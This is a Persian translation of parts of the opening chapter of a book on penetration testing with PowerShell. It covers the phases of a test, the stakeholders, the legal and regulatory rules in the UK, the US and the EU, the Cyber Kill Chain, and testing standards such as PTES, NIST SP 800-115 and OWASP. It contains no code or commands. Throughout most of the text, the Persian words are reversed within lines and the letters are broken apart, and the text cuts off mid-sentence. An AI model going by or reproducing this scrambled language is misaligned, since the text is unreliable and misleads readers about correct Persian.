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 مقدمه 

ها و شبکه   هاستمیس   تیامن  نیتأم  یبرا  یاز الزامات اساس   یکیبه   تست نفوذ  ،یبریسا  داتیبا گسترش روزافزون تهد 

و    ت یریمد   ی نه تنها برا  ندوز،یو  عاملستم یابزار قدرتمند در س   ک یبه عنوان     PowerShell.شده است  لیتبد 

  ی هات یقرار گرفته است. قابل  ز ین  ت یبلکه مورد توجه متخصصان امن  شود،ی م  فادهاست  مدیریتی  فیوظا  یخودکارساز

را به     PowerShellدستورات از راه دور،    یو امکان اجرا  ستم یبه س   قیعم  یدسترس   ،یسینوپت یاسکر  شرفتهیپ

 .اند کرده  ل یتست نفوذ تبد  ی برا آلده یا یابزار

اطلاعات    ی آورو جمع   ییپرداخت. از شناسا  میمختلف تست نفوذ با پاورشل خواه  یهاروش   یکتاب، به بررس   نیا  در

کمک    ت یخواهند شد که به کارشناسان امن  ی معرف  ییهاک ی، تکنPost-Exploitationو    ی بردارگرفته تا بهره 

کتاب،    نیاقدام کنند. هدف ا  ت یبهبود امن  ی کرده و برا  ییرا شناسا  هاستم یها و س تا نقاط ضعف شبکه   کنند ی م

  ی درستابزار قدرتمند به   نی بتوانند از ا  تیتست نفوذ با پاورشل است تا متخصصان امن  نهیدر زم  یارائه دانش کاربرد 

 استفاده کنند. 

  PowerShell for Penetration Testingکتاب  هایی از  بخش لازم به ذکر است که مستند پیش رو، ترجمه  

 از آن حذف شده است. Cloudهای مربوط به است. البته بخش  Dr. Andrew Blythنوشته 
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 Introduction to Penetration Testing and PowerShell - فصل اول

  ک یرا به عنوان    PowerShell  نیبخش همچن  نیکند. ای تست نفوذ آشنا م  یبخش شما را با عناصر اساس   نیا

نو برنامه  اول  Cross Platform  ی سیموتور  اصول  کند.  ی م  ی معرف  PowerShellدر    یسینو  پتیاسکر  هی و 

فرم ناهمگن نصب و  پلت  نیچند   یتوان بر روی را م  XMLها/توابع  . ماژول JSONدهد که چگونه  ی نشان م  نیهمچن

کمک به توسعه درک نحوه    ی ساده را برا  یسینو   پتیاسکر  نات یتمر  ی سر   کیماژول، شما    ن یاستفاده کرد. در ا

 کرد.   میاستفاده خواه PowerShell 7کتاب از   نیداد. در ا د یانجام خواه PowerShellاستفاده/کاربرد 

 است: ریفصول ز ی قسمت دارا نیا

• Chapter 1, Introduction to Penetration Testing 

• Chapter 2, Programming Principles in PowerShell 

Introduction to Penetration Testing 

نفوذ    تست  ی که در اجرا  یدهد. ما در مورد مراحل مختلف ی م   حیمختلف آن را توض  ی فصل تست نفوذ و اجزا  نیا

در مورد    نیکرد. همچن  میبحث خواه   ازیو نرم مورد ن  ینظارت   ،یقانون  یهامهارت  فیتعر   نیهستند و همچن  لیدخ

تعر استانداردها در هنگام  اجرا  فینقش  نفوذ بحث خوا  ی و  ا  میهتست  از  ز  نیکرد.    ن یمهمتر  ریرو، موضوعات 

 : ه خواهد شد ها پرداختفصل به آن  نیاست که در ا یموضوعات

• What is penetrating testing? 

• Stakeholders 

• Ethical, legal, and regulatory requirements 

• Managing and executing a penetration test 

• Using the cyber kill chain 

• Standards in penetrating testing 

• Report writing 

What is Penetration Testing 

  ی هابرنامه   ایها  شبکه   ،یوتر ی کامپ  یهاستم یس   ت یامن  ی ابیارز  ی است که برا  ی تیامن  ی ابیروش ارز  ک یتست نفوذ  

  ستمیها و نقاط ضعف در س ی ریپذ بیآس   یو طبقه بند   ییتست نفوذ شناسا  یشده است. هدف اصل  یطراح  یکاربرد

و    یداخل  ت یتواند هم ماهی مخرب است. لازم به ذکر است که تست نفوذ م  یهکرهاسوء استفاده  قبل از    یدفاع

 داشته باشد. یهم خارج
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تواند توسط  ی است که م  یاحتمال   یت یامن  یهاکشف نقص   ی برا  ی واقع  یایحملات دن  یساز  ه یتست نفوذ شامل شب

کند که  ی م  یرویپ کیستماتیس  یاچرخه  ند یفرآ  کیاز  تست نفوذ . معمولاًردیمهاجمان مورد سوء استفاده قرار گ

 است: ر یشامل مراحل ز

Planning and reconnaissance:  نفوذ س   گرتست  به  مربوط  مانند    ای   ستمیاطلاعات  نظر،  مورد  شبکه 

 کند.ی م ی آن را جمع آور یاحتمال یهایریپذ ب یها و آس ها، برنامه عامل ستم یس  ،یمعمار

Scanning:   باز،    یهاپورت   افتن ی  ی هدف برا  ستمیاسکن س   یبرا   یمختلف   یهاک یاز ابزارها و تکن  گر تست نفوذ

 کند.ی بالقوه استفاده م  ینقاط ورود  ر یها و ساسیسرو

Gaining access:   ها تا از آن   کند ی نفوذ تلاش م  کننده شیآزما  شوند،ی م  ییشناسا  هایریپذ ب یکه آس   یهنگام

  ی های کربند یتواند شامل سوء استفاده از پی مموضوع    ن یسوء استفاده کند. ا  ستمیبه س   رمجازیغ  یدسترس   یبرا

 باشد. یت ینقاط ضعف امن ریسا ای فی عبور ضع ی نادرست، رمزها

Maintaining access:  ی کند جای م   یسع  وی   ،یدر به دست آوردن دسترس   تست نفوذگر  ت یدر صورت موفق  

 ها حفظ کند. ی ریپذ ب یآس  ریسا ییو شناسا Compromise زان یم یابیارز ی برا ستم یخود را در س  یپا

Analysis and reporting:   توانند ی که م ی ریشده، تأثکشف یهایریپذ ب یاز جمله آس  ها،افته ی تست نفوذگر  

گزارش مفصل به    کی. معمولاً  کند ی م  ل یو تحل  هیرا مستند و تجز  شدهه ی توص  یداشته باشند، و اقدامات اصلاح

 . کند ی م  ان یب  ت یامن  بود به  ی را برا   ییهاه ی و توص  هایریپذ ب یکه آس   شودی است، ارائه م  ش یکه در حال آزما  یسازمان

امن  متخصصان  توسط  معمولاً  نفوذ  م  یبریسا  تیتست  انجام  شناسای ماهر  در  که  بردار  ییشود  بهره  از    ی و 

  ی کنند، اثربخش   ییرا شناسا  یت یتا نقاط ضعف امن  کند ی ها کمک مبه سازمان   نیها تخصص دارند. ایریپذ بیآس 

قرار    تیخود در اولو  یکل  یت یامن  تیعبهبود وض  یرا برا  یاصلاح  یهاکنند و تلاش   د ییرا تأ  یتیامن  یهاکنترل 

  یاحتمال  ی تیامن  یهااز نقض   کند ی ها کمک مبه سازمان   ها،یریپذ بیفعالانه و رفع آس   ییدهند. تست نفوذ با شناسا

 حساس محافظت کنند.  یهاکنند و از داده  ی ریجلوگ

Stakeholders 

نفوذ    تست  جیکه در نتا  شوند ی اطلاق م  ییهاگروه   ایبه افراد    نفعانی ذیا    Stakeholdersتست نفوذ،    نهیدر زم

  ند یسازمان هستند که فرآ  ک یدر    یینهادها  ا یها معمولاً افراد  . آن رند یگی قرار م  ریتاثتحت   ا یدارند    ی منافع خاص

اقدامات    یکه ممکن است مسئول اجرا  یکسان  نیآن هستند و همچن   ریدرگ  ایدهند  ی را سفارش م  تست

 شده باشند. ه یتوص  یتیامن
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 در تست نفوذ آورده شده است: نفعانیچند نمونه از ذ نجا یدر ا

Clients/organizations:  ذ  یسازمان  ای  یمشتر دارد،  را  نفوذ  تست  درخواست  آن   یاصل  نفعیکه  ها است. 

ها ممکن خود هستند. آن   یها برنامه   ایها  ها، شبکهستمیدر س   یتیامن  یهایریپذ بیو رفع آس   ییعلاقمند به شناسا

 در سازمان باشند.  یتی امن یها  میت ای  ت یریمد  ران،یاست شامل مد 

IT/security team:  که در    است  یسازمان  تیامن  ایاطلاعات    یفناور   یداخل  میت  ،قابل توجه   نفعانیاز ذ  ی کی

  ت یامن  ن یها و تضمیریپذ بیبه آس   یدگ یرس   ،ی تیامن  ی هاکنترل   یها مسئول اجرا. آن باشیمآن می   تستحال  

ها را  آن   یاهکند تا نقاط ضعف را درک کنند و تلاش یها کمک م تست نفوذ به آن   ج یها هستند. نتاستم یس   یکل

 کنند.  تیسازمان هدا یتی امن تیدر بهبود وضع

Compliance officers :  صنا ح  ع یدر  نقش  انطباق  افسران  نظارت،  ا  ی اتیتحت  سهامداران  عنوان  به    فا یرا 

انطباق    یهاو چارچوب  یصنعت مربوطه، الزامات قانون  یبه استانداردها  یبند یاز پا  نانیها مسئول اطمکنند. آن ی م

عدم انطباق    یاهنه ی مکرده و ز  یابیرا ارز  یت یامن  یهاکنترل  یکند تا اثربخشی ها کمک مهستند. تست نفوذ به آن 

 توانند به عنوان سهامداران رفتار شوند.ی م ز ین ینظارت  یهاکنند. لازم به ذکر است که سازمان  ییرا شناسا

Development team:   ها است. آن   نفع یذ  ک یتوسعه    میباشد، ت   یکاربرد  یها اگر تست نفوذ شامل برنامه

را در    ییهانش یب  شیآزما  جیوب هستند. نتا  یکاربرد  یهابرنامه   اینرم افزار    یتوسعه و نگهدار  ،یمسئول طراح

 کند.ی ها کمک مبرنامه  ت یامن شیدهد و به افزای کد ارائه م  یهایریپذ ب یمورد آس 

Business owners/managers:    .صاحبان مشاغل و مدیران درون سازمان در فرآیند تست نفوذ سهم دارند

بالقوه عملیات خود، آسیب به شهرت یا ضررهای مالی ناشی از حملات موفقیت  ها علاقمند به درک خطرات  آن

ها در تصمیم گیری آگاهانه در مورد مدیریت ریسک و تخصیص منابع  های تست نفوذ به آن آمیز هستند. یافته 

 . کند کمک می 

Third-party service providers:  به ارائه    یاتیح  یهارساختیز  ایخدمات    یسازمان برا  کی که    یدر موارد

ثالث متک ا  یدهندگان خدمات شخص  ن  نیاست،  ها علاقمند باشند. آن  نفعانیممکن است ذ  زیارائه دهندگان 

  ، هبالقو  یهایریپذ ب یمطابقت دارد و آس   یت یامن  یها با استانداردهاحاصل کنند که خدمات آن   نانیهستند که اطم

 اندازد.یها را به خطر نم آن  انیمشتر

انتظارات، بحث    یی شامل همسو  نیمهم است. ا  اریتست نفوذ بس  ند ی در طول فرآ نفعانیثر با ذارتباط مو 

است.   یینها  یشی آزما  یهاه ی و توص  جیو ارائه نتا  شرفتیپ  یبروز رسان  یدر مورد دامنه، به اشتراک گذار
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شوند و  ی درک م  جیشوند، نتای م ده حاصل شود که اهداف آزمون برآور نانیکند تا اطمی کمک م  نفعان ی تعامل با ذ

 شود.ی شده انجام م ییشناسا یهایریپذ بیرفع آس  ی اقدامات لازم برا

Ethical, legal, and regulatory requirements 

اطلاق    ییهامقررات و دستورالعمل   ن،یتست نفوذ به اصول، قوان  نه یدر زم  ی و مقررات  یقانون   ، ی اصطلاح الزامات اخلاق

ها آن   یابیارز  یهات یدر طول فعال  گران نفوذ   تستو تعهدات انطباق    یقانون  یمرزها  ،ی که بر رفتار اخلاق  شودی م

 کرد:   می نگاه خواه یشتریب اتیزئها با جاز آن  کی به هر  در ادامهحاکم است. 

Ethical requirements:   هات یحاصل شود که فعال  نانیاست تا اطم  ی در تست نفوذ ضرور  ی ملاحظات اخلاق 

انجام م ا  شوند،ی به طور مسئولانه  الزامات    شیمورد آزما  یهاستم یبه س   یبیآس   ای  بیآس   نکه یبدون  وارد شود. 

  ن یقوان  تیعامانه بودن، و رو محر   ی خصوص  م یاغلب شامل اخذ مجوز مناسب از سازمان هدف، احترام به حر  یاخلاق

استانداردها  ی رفتار ش   د یبا  گران نفوذ تست  است.    یاحرفه   یو  مشتر   ی اخلاق  یاوه یبه  منافع  و  کنند  و    ی عمل 

 قرار دهند. ت یرا در اولو نفعان یذ

Legal requirements: ی ر یجلوگ یدر محدوده قانون کار کنند تا از هرگونه عواقب قانون   د یبا گران نفوذ تست  

مربوط به    نیقوان  تیمتفاوت باشد. درک و رعا  ییتواند بسته به حوزه قضای حاکم بر تست نفوذ م  نیشود. قوان

داده   رمجاز،یغ   یدسترس   ،یاانه یرا  میجرا از  حرحفاظت  مالک  یخصوص   میها،  است.    اریبس  ی معنو  ت یو  مهم 

 انجام شود.  ی ها و الزامات قانونت یمحدود تیبا مجوز مناسب و با رعا د یبا یشیآزما یهاتیفعال

Regulatory requirements:  ها هستند که سازمان   یبخش خاص  ایمقررات خاص صنعت    ی الزامات نظارت

ها )به عنوان مثال،  حفاظت از داده   ن یمقررات، مانند قوان  ن یاز ا  د یبا  گران نفوذ  تستکنند.    ی رویها پاز آن   د یبا

GDPR  مانند    یهااروپا(، چارچوب  ه یدر اتحاد( انطباق خاص صنعتPCI DSS   داختصنعت کارت پر  یبرا  ،)ا ی  

  نان یکند تا اطمی الزامات کمک م  نی( آگاه باشند. درک اHIPAA)مانند    یبهداشت  یهامقررات حاکم بر مراقبت 

ها کننده  م یاز تنظ یمطابقت دارد. برخ ش یسازمان مورد آزما ی تست نفوذ با تعهدات نظارت ند یحاصل شود که فرآ

 دهد.ی نفوذ را پوشش م یهاش یداشته باشند که زمان و تعداد دفعات انجام آزما ی ممکن است الزامات

مسئولانه و    یاوه یها را به ش یابیتوانند ارزی م   گرانتست نفوذ   ،یو مقررات  ی قانون  ،یبا در نظر گرفتن الزامات اخلاق

به    یبند یحساس و پا  یهاتعهد، حفاظت از داده  یمرزها  تیشامل اخذ مجوز مناسب، رعا  نیسازگار انجام دهند. ا

در    یکپارچگ یبودن و    یاالزامات به حفظ اعتماد، حرفه   نیا  تیشود. رعای و مقررات مربوطه م  نیقوان

  انجام شده و   اعتبار  ای  یقانون   بیآس   جادیبدون ا  شیآزما  ند یکه فرآ   کند ی م  نیو تضم  کردهصنعت کمک  

 .کند ی کمک م تیبه بهبود امن 
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که    ی تواند در کشورها و مناطق متفاوت باشد. در حالینفوذ م   شیآزما  ای  یدر مورد هک اخلاق  یچشم انداز قانون

و به روز، مشورت با متخصصان    قیبه دست آوردن اطلاعات دق  یرا ارائه دهم، برا   یاز اطلاعات کل  یتوانم برخی من م

  ی هک اخلاق  یبرا  یکوتاه بر چارچوب قانون  یمرور   نجایا مهم است. در    ییدر هر حوزه قضا  یمراجع قانون   ای  یحقوق

 و اروپا است: کایمتحده آمر  الاتیا ا، یتانیدر بر

United Kingdom (UK):  ی است که دسترس   یاه یقانون اول  1990  انهیقانون سوء استفاده از را  ا،یتانیدر بر  

 یهاستم یبه س   رمجازیغ  یمانند دسترس   ی میقانون جرا  ن یدهد. ای مرتبط را پوشش م  م یو جرا  انه یهک را  رمجاز،یغ

تست نفوذ   نیون بقان نیکند. ای م  حیهک را تشر یابزارها عیتوز ای جادیو ا یاانهیمواد را  رمجازیاصلاح غ ،یاانهیرا

  ی شود. مرکز ملی قائل م  زیهستند، تما  ی رقانون یکه غ  رمجازیهک غ  یهات یانجام شده با مجوز مناسب و فعال  ی قانون

و مسئولانه ارائه    یانجام تست نفوذ قانون   ی را براهایی    Best Practiceها و  ( دستورالعملNCSC)   یبریسا  تیامن

 دهد.ی م

United States of America (USA):  ن یشامل چند   یهک اخلاق   یبرا   ی متحده، چارچوب قانون  الاتیدر ا  

  ی قانون مهم فدرال است که دسترس   کی (  CFAA)  یاانه یاست. قانون تقلب و سوء استفاده را  یالتیقانون فدرال و ا

  ی دار مختلف مربوط به کلاهبر  میجرا  نیدهد. ای را مورد توجه قرار م  یاانهیرا  یهاها و شبکه ستم یبه س   رمجازیغ

به آثار    ی دسترس   ی برا  ی دور زدن اقدامات فناور  DMCAقانون    ن، یکند. علاوه بر ای م  فی و هک را تعر  یاانهیرا

م   ی دارا م   کند،یحق چاپ را ممنوع  ا  یهات یفعال  ی برا  ییامدهایپ  تواند ی که  باشد.  نفوذ داشته   یهاالت یتست 

مهم است    نیگذارد، بنابرای م ریتأث یداشته باشند که بر هک اخلاق  یگریمقررات د  ا ی  نیمختلف ممکن است قوان

 .د یریرا در نظر بگ  ی التیفدرال و ا  نیکه قوان

Europe:  حال،   نیخاص خود را دارند. با ا یشده است که هر کدام چارچوب قانون لیکشور تشک نیاروپا از چند

 یهاشود. مقررات حفاظت از داده ی ( اعمال مEUاروپا )  هی مقررات مشترک وجود دارد که در سراسر اتحاد  یبرخ

کند.  ی را کنترل م  یخصوص  می ها و حراروپا است که حفاظت از داده   ه ی مقررات مهم اتحاد  ک ی(  GDPR)   یعموم

ها به  محافظت از داده  یکند و برای م لیکنند تحمی م تی ریرا مد  یشخص یهاکه داده  ییهارا بر سازمان  یتعهدات

مطابقت داشته باشد و از حفاظت از    GDPRبا    د یبا  یهک اخلاق   یهات یدارد. فعال  ازیمناسب ن  ی تیاقدامات امن

اطم  ی اطلاعات شخص ا  لحاص  نانیافراد  بر  اتحاد  ی کشورها  ن،یکند. علاوه  قوان  ه ی عضو  است  و    ن یاروپا ممکن 

 پردازد. ی م  رمجازیغ یو دسترس  انهیسوء استفاده از را  ، یبریسا م یمقررات خاص خود را داشته باشند که به جرا

ا به  قانون  نیتوجه  انداز  تغ   ینکته مهم است که چشم  و جزئ   رییدر معرض  تفاس   اتیاست  خاص    ریو 

با   د یبا  دهند ی را انجام م  یلاقهک اخ  اینفوذ    یها ش یکه آزما  یها و افراد تواند متفاوت باشد. سازمانی م
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مربوطه در حوزه    یهاالعملمقررات و دستور  ن،یقوان  تیاز رعا  نانیاطم  یبرا  یمقامات محل  ای  یمتخصصان حقوق 

 مربوطه خود مشورت کنند. ییقضا

Managing and executing a penetration test 

دارد.    ی و تخصص فن  یهماهنگ   ق،یدق   یز یبه برنامه ر  از یاست که ن  یاتیح  یند یتست نفوذ فرآ  یو اجرا  تیریمد 

 هایریپذ ب یها کمک کند تا آس به سازمان   تواند ی م  شود اجرا    یشده و به درست  تیریمد   یتست نفوذ به خوب  ک یاگر  

دفاع خود    ت یتقو  یبرا   یاآگاهانه   ماتیو تصم  قرار داده   ی ابیارز  مورد   خود را  یتیامن  ت یکنند، وضع  ییرا شناسا

 تست نفوذ وجود دارد:  یو اجرا   تیریمربوط به مد  ید یمراحل کل نجای. در ارند یبگ 

Define objectives :  تعر اهداف  فیبا  کنرا  نفوذ    تست  ، واضح  شناساد یشروع  شبکه ستم یس   یی.   ایها  ها، 

ها توجه  که باید به آن ، مواردی است  تعامل  یهات یمحدوده و محدود  نییو تع  شیمورد آزما   یکاربرد   یهابرنامه 

واکنش به حادثه را    یاثربخش  یابیارز  ایخاص،    یهاکنترل  شیآزما  ها،یریپذ بیآس   ییمانند شناسا  ی. اهدافشود

شود، مشخص کند. لازم  یرا که آزمون بر اساس آن برگزار م  ی قواعد مشارکت د یبا نی چن. اهداف همد یریدر نظر بگ 

 گرفته شود.   یلازم مجوز کتب نفعان یذ  هی از کلباید نفوذ،  تست هر  تی به ذکر است که قبل از وضع

Assemble a team :  اخلاق  یمی ت و هک  نفوذ  تست  در  تخصص  با  ماهر  متخصصان  به  د یبساز  ی از  بسته   .

ها برنامه  تی، متخصصان شبکه، کارشناسان امنگران ممکن است شامل تست نفوذ می ت ش،یو دامنه آزما یدگیچیپ

مناسب در    ربهها و تجنامه ی گواه  یدارا  میت  یکه اعضا  د یحاصل کن  نانیو متخصصان واکنش به حوادث باشد. اطم

 نفوذ هستند.  یهاانجام تست 

Planning and preparation: را   شیآزما یهاک یابزارها و تکن ،یشناس که روش  د یکن ه یته  قیطرح دق کی

ها . کانالد یکن جادیا یشیبرنامه آزما کی  د،یتول یهاستمیبالقوه بر س  ریمشخص کند. با در نظر گرفتن هرگونه تأث 

به حوادث    ی دگیو رس   شرفتیپ  یهایروزرسانبه   ش،یآزما  یهاافته ی  یگذارتراک اش   یرا برا   یارتباط  یهاو پروتکل 

 . د یکن جادیا

Reconnaissance:  مورد نظر را    یهابرنامه   ایها  ها، شبکهستم یتا اطلاعات مربوط به س   د یشروع کن  ییبا شناسا

  ای، اطلاعات در دسترس عموم  DNS  یها، مانند رکوردها داده   رفعال یغ  یآورشامل جمع   نی. اد یکن  یجمع آور 

  ی نقاط ورود  ییهدف و شناسا  ط یاز مح  ی است. هدف به دست آوردن درک بهتر   یاجتماع  یمهندس   یهاک یتکن

 بالقوه است.

Scanning and enumeration:   سرو  یهاپورت  ییشناسا  ی برا آس س یباز،  و   یهایریپذ بیها 

و    یریپذ ب یمانند اسکنر پورت، اسکنر آس   یی. از ابزارهاد یاسکن و شمارش فعال را انجام ده   ،یاحتمال
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  ی بردارها  ییمرحله به شناسا  نی. اد یهدف استفاده کن  ط ی نقاط ضعف در مح  ییشناسا  یشبکه برا   یابزار نقشه بردار

 کند.ی کمک م شی آزما  یبرا شتریب یهاتلاش  ی بند  تیو اولو  ه حمله بالقو

Vulnerability exploitation:  رمجاز یغ  ی دسترس   ی ها برااز آن   د یکن  ی سع  ها،یریپذ بی آس   ییپس از شناسا  

  ی هاپت یشناخته شده، اسکر  یهات یمرحله شامل استفاده از اکسپلو  نی. اد یسوء استفاده کن  ازاتیامت  شیافزا  ای

  حداقل و به    اطیاحت  تیشده است. رعا  ییاز نقاط ضعف شناسا  یبهره بردار   یبرا  یدست  یهاک یتکن  ای  یسفارش 

 مهم است. اریبس یهدف در طول بهره بردار  یهاستم یبر س  ریرساندن تاث

Gaining access and persistence:  جاد یهدف ا  ط یدر مح  ییپا   یجا  ز، یآم   ت یموفق  ی پس از بهره بردار  

  جادیا  ایها  کاشت تروجان  ، یپشت  یدرها  جادیشامل ا  نی . اد یحفظ کن  شتریب  یهاشیآزما   یرا برا   یو دسترس   د یکن

در    ستمیس   ک ی  ر یو نشان دادن تاث  یواقع   ی ایمهاجم دن  کی از    د یاز راه دور است. هدف تقل  ی دسترس   یهاسمیمکان

 معرض خطر است. 

Post-exploitation and lateral movement :  ی و گسترش دسترس   ازاتی امت  ش یافزا  ، یبا حرکت جانب  

نقاط ضعف بالقوه در    ییمرحله به شناسا  ن ی. اد یکاوش کن  شتر یهدف را ب  ط یمح   گر،ی د  یهاشبکه   ا یها  ستمیبه س 

مورد    یهاک یتکن  ی. مستندسازکند ی کمک م  ستمیس   یهای کربند یپ  ایکاربر    یدسترس   یهاکنترل   ،یبند بخش

در این بخش حائز اهمیت    حساس   ی داده ها   ای  ی ات یح  یهاستم یبه س   ی ابیدست  ی شده برا  ی ط  ی رها یاستفاده و مس

 . است

Data analysis and reporting :   شده در طول    ی جمع آور  یهاداده   ل یو تحل  هی تجزبایست  در این بخش می

. گزارش  مورد توجه قرار گیرد  در معرض خطر   یهاستمی ها و س اکسپلویت ها،  یریپذ بیتست نفوذ، از جمله آس 

مختصر،    د یشده را مستند کند. گزارش با  هی توص  یو اقدامات اصلاح  یها، خطرات احتمالافته یکه    د یکن  ه یته  یجامع

 باشد. یرفنیو غ  یفن نفعانیذ ی قابل اجرا و هدفمند برا

Post-test activities:   پاسخ به هر    ش،یآزما  جیبحث در مورد نتا  یبرا   یبا سازمان مشتر یهیجلسه توج  کی

  ی هام یآمده در طول آزمون را با ت. دانش به دست  د یبرگزار کن ی اصلاح یهادر مورد تلاش  یی سؤال و ارائه راهنما

اجرا    یتیاقدامات امن  یشاثربخ   د ییتأ  یخود را بهبود بخشند. برا   ی تیامن  یهاوهیتا ش   د یمربوطه به اشتراک بگذار

 . د یریرا در نظر بگ  ی تعامل بعد   کیشده، 

  نان یاطم  نفعانیو ذ   یتست نفوذ، سازمان مشتر  میت  نیواضح ب  یاز ارتباط و هماهنگ   ند،یدر طول فرآ

محرمانه را حفظ    ی و قراردادها ، یالزامات قانون  ، یاخلاق   یهابه دستورالعمل   ق یدق  ی بند ی. پاد یحاصل کن
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در حال تحول همگام    یهای و فناور  دهایتا با تهد   د یو اصلاح کن  یروزرسانتست نفوذ را مرتباً به   یها. روش د یکن

 .د یشو

خود به    یتیامن  یهادر مورد ضعف   یارزشمند   یهانشیب  توانند ی ها منفوذ، سازمان  تستمؤثر    یو اجرا  تیریبا مد 

 خود بردارند.  ی کل  یبریسا ت یامن ی ارتقا یبرا یارانه یشگ یپ یهادست آورند و گام 

Using the cyber kill chain 

Cyber Kill Chain  ک یاست که مراحل    کیستمات یمدل س   ک یاست،    افتهیتوسعه    نیمارت  د یکه توسط لاکه  

  افته یچارچوب ساختار  کی  نیکند. ای م   میبه اهداف مهاجم ترس   یابیتا دست  هی اول  ییرا از شناسا  یبریحمله سا

ها اجازه  و به سازمان کند یم  رائه نفوذ انجام دهد ا کیکه مهاجم ممکن است در طول  ی درک مراحل مختلف یبرا

  کیبه عنوان    Cyber Kill Chainتست نفوذ،    ک یخود را بهبود بخشند. در    یبریسا  تیامن  یهاتا دفاع   دهد ی م

 .  ردیگی سازمان مورد استفاده قرار م یهاو شبکه هاستم یس  تیامن شیو افزا یابیارز  یاصل راهنما برا

در    یبریحملات سا  د«،ی»کلاه سف  یهکرها  ای  گراننفوذ  تستمعروف به    ،یاخلاق  ی در طول تست نفوذ، هکرها

 Cyber Killکنند.    ییسازمان را شناسا  یدفاع  یهاو ضعف  هایریپذ ب یتا آس   کنند یم   یسازه یرا شب  ی واقع  یایدن

Chain   بردارند، استفاده    ستمینقض س   یممکن است برا  قوهکه مهاجمان بال  یتکرار مراحل  یبرا   یبه عنوان روش

 شود:ی م

Reconnaissance:  سازمان هدف، کارکنان و حضور    رساختی در مورد ز  یاطلاعات  گرفوذ ن   در مرحله اول، تست

 کند تا نقاط بالقوه ورود را درک کند.ی کمک م  گرفوذ ن  تست به  نی کنند. ای م ی جمع آور نیآنلا

Weaponization:  به    ای  جادیرا ا  یمخرب   یابزارها  ریسا  ایبدافزارها    ها،تیاکسپلو   گرفوذن  تست مرحله،    ن یدر ا

 . رند یمورد استفاده قرار گ ستم یبه خطر انداختن س  یبرا توانند ی که م  آورند ی دست م

Delivery:  طر  خود  یهاپیلود   ها کننده ش یآزما از  ا  یبردارها  ق یرا  مانند  مختلف،    نگ، یشیف  یهالیمیحمله 

 .دهند ی م  لینشده تحواصلاح  یافزارهااز نرم  یبرداربهره  ای ،یاجتماع یمهندس 

Exploitation: در   یگاهیبه جا ی ابیشده و دست ییشناسا یهایریپذ بی از آس  ی مرحله بهره بردار نی هدف در ا

 هدف است. ستمیس 

Installation:   ا یها  تروجان   ،یپشت   ی، درهاگرانتست نفوذ   ، یبودن بهره بردار  زیآم  تیپس از موفق 

 کنند.   جادیا ستم یدر س  ی کنند تا حضور دائمی بدافزارها را نصب م ریسا
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Command and control:  در معرض    یهاستم یحفظ کنترل س   ی را برا  یارتباط  یهاکانال  تست نفوذگران

 کنند.ی م جاد یخطر ا

Actions on objectives:  کند، ی به اهداف خاص خود تلاش م  یابیدست یبرا  گرفوذن   تست  ،ییدر مرحله نها  

 اختلال باشد. جاد یا ای ازاتیامت شیحساس، افزا یهابه داده  ی شامل دسترس  تواند ی که م

  ی ابیسازمان را ارز  یتیامن  ت یتوانند به طور موثر وضعیم   گراننفوذ  تتس  ،Cyber Kill Chainاز مدل    یرویبا پ

مناسب دهند و به توسعه اقدامات متقابل  ی در مورد نقاط ضعف بالقوه ارائه م  یارزشمند   یهانش یها بکنند. آن 

ها کمک کند  به سازمان  تواند ی تست نفوذ م  کی  یهاافته یکنند.  ی کمک م   یبریسا  تی دفاع امن  تیکل  تیتقو  یبرا

  ز یآمت یموفق  ی از اجرا  یری جلوگ  ی لازم را برا   یکنند و بهبودها  یبند ت یخود را اولو  ی تیامن  یهای گذاره یتا سرما

نفوذ    یهاتست   ت،یانجام دهند. در نها  یسط مهاجمان واقعمشابه تو  یهاک یبا استفاده از تکن  ی بریحمله سا  کی

قدم جلوتر از عوامل    ک یها  که سازمان   کند ی م  ن یاست و تضم  ی بریسا  ت یبه امن  رانه یشگ یپ  کرد یرو  ک ی  ی اتیجزء ح

 .مانند ی در حال تکامل م د یانداز تهد چشم  کی مخرب در 

Standards in penetration testing 

 شود:ی استاندارد و چارچوب وجود دارد که به تست نفوذ مربوط م  نیچند 

Penetration Testing Execution Standard (PTES):  PTES  اجرا  ک ی که  است    ی چارچوب جامع 

اطلاعات،    ی آورجمع   ،یری از درگ  شیشامل مراحل پ  افتهیساختار  کردیرو  کی  نیکند. ای م  تینفوذ را هدا  یهاتست

بر تست    PTESو گزارش است.    ی بردارپس از بهره   ، یبرداربهره   ،یریپذ بیآس   لیو تحل  ه ی تجز  د، یتهد   یسازمدل

اطم بررس   نانیروشمند،  امن  کامل   ی از  ترس   د ی تاک   یت یاقدامات  با  روش   می دارد.  و  روش   یهامراحل    یهاواضح، 

را   هایریپذ ب یتا آس   کند یها کمک م به سازمان  PTESبه   یبند ی. پاکند ی م  لینفوذ سازگار و مؤثر را تسه شیآزما

 دهند.  ش یخود را در برابر حملات مخرب افزا یریپذ و انعطاف ی بریسا تیامن تیو کاهش دهند و وضع ییشناسا

NIST SP 800-115:   به مربوط  که  استاندارد  مل   این  فناور  یموسسه  و    است،  (NIST)  یاستاندارد 

اطلاعات  این استاندارد همچنین  دهد.  ی اطلاعات و تست نفوذ ارائه م  ت یانجام تست امن  ی را برا  ییهادستورالعمل 

 دهد. ی و گزارش ارائه م یتست نفوذ، روش شناس  ند یدر مورد فرآ  یق یدق

ISO/IEC 27001:  ب  کی   نیا برا  یالملل  نیاستاندارد  شده  اطلاعات    تیامن  تیریمد   یها ستم یس   یشناخته 

(ISMSا است.  برا  نی(  الزامات  ارز  یشامل  برا   سکیر  یابیانجام  نفوذ  تست  رفع    ییشناسا  یو  و 

 سازمان است.  کیاطلاعات  تیدر امن هایریپذ بیآس 
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OWASP Testing Guide:    پروژهOpen Web Application Security Project (OWASP)   ک ی  

م   یراهنما ارائه  جامع  جنبه یتست  که  امن  یهادهد  روش   ی کاربرد   یهابرنامه   تیمختلف  جمله  از  و  وب،  ها 

 دهد.ی تست نفوذ را پوشش م یهاک یتکن

Open Source Security Testing Methodology Manual (OSSTMM):  OSSTMM  ی چارچوب  

تست  یبرا اهم  یت یامن  یهاانجام  بر  است.  نفوذ  تست  جمله  و    کند ی م  د یتأک  تیامن  ی ریگاندازه   تیاز 

 .کند ی و سازگار ارائه م  افتهیساختار یاوه یبه ش  هاش یانجام آزما ی را برا ییهادستورالعمل 

PCI DSS:  PCI DSS   ی طراح  یکارت اعتبار  یهاتراکنش   ت یامن  ن یتضم  یاز الزامات است که برا  یامجموعه  

 پردازد. ی انطباق م ی به طور خاص به تست نفوذ برا 11.3شده است. الزام  

ENISA Penetration Testing Framework:  هی اتحاد  ی بریسا  تیآژانس امن  ( اروپاENISAچارچوب )را    ی

